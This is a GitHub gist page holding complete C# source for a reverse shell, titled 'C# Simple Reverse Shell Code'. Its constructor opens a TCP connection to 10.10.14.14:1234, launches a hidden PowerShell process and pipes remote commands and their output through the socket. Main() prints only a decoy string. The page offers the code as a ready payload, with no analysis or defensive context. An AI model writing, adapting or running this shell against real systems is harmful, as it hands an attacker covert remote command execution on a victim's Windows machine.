-
-
Save zhsh9/0bad6099be3b2f843912e423999c8292 to your computer and use it in GitHub Desktop.
C# Simple Reverse Shell Code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Text; | |
using System.IO; | |
using System.Diagnostics; | |
using System.ComponentModel; | |
using System.Linq; | |
using System.Net; | |
using System.Net.Sockets; | |
namespace payload | |
{ | |
public class Run | |
{ | |
static StreamWriter streamWriter; | |
static void Main(string[] args) | |
{ | |
Console.WriteLine("imqwe"); | |
} | |
public Run() | |
{ | |
using(TcpClient client = new TcpClient("10.10.14.14", 1234)) | |
{ | |
using(Stream stream = client.GetStream()) | |
{ | |
using(StreamReader rdr = new StreamReader(stream)) | |
{ | |
streamWriter = new StreamWriter(stream); | |
StringBuilder strInput = new StringBuilder(); | |
Process p = new Process(); | |
p.StartInfo.FileName = "powershell.exe"; | |
p.StartInfo.CreateNoWindow = true; | |
p.StartInfo.UseShellExecute = false; | |
p.StartInfo.RedirectStandardOutput = true; | |
p.StartInfo.RedirectStandardInput = true; | |
p.StartInfo.RedirectStandardError = true; | |
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); | |
p.Start(); | |
p.BeginOutputReadLine(); | |
while(true) | |
{ | |
strInput.Append(rdr.ReadLine()); | |
//strInput.Append("\n"); | |
p.StandardInput.WriteLine(strInput); | |
strInput.Remove(0, strInput.Length); | |
} | |
} | |
} | |
} | |
} | |
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | |
{ | |
StringBuilder strOutput = new StringBuilder(); | |
if (!String.IsNullOrEmpty(outLine.Data)) | |
{ | |
try | |
{ | |
strOutput.Append(outLine.Data); | |
streamWriter.WriteLine(strOutput); | |
streamWriter.Flush(); | |
} | |
catch (Exception err) { } | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Usage: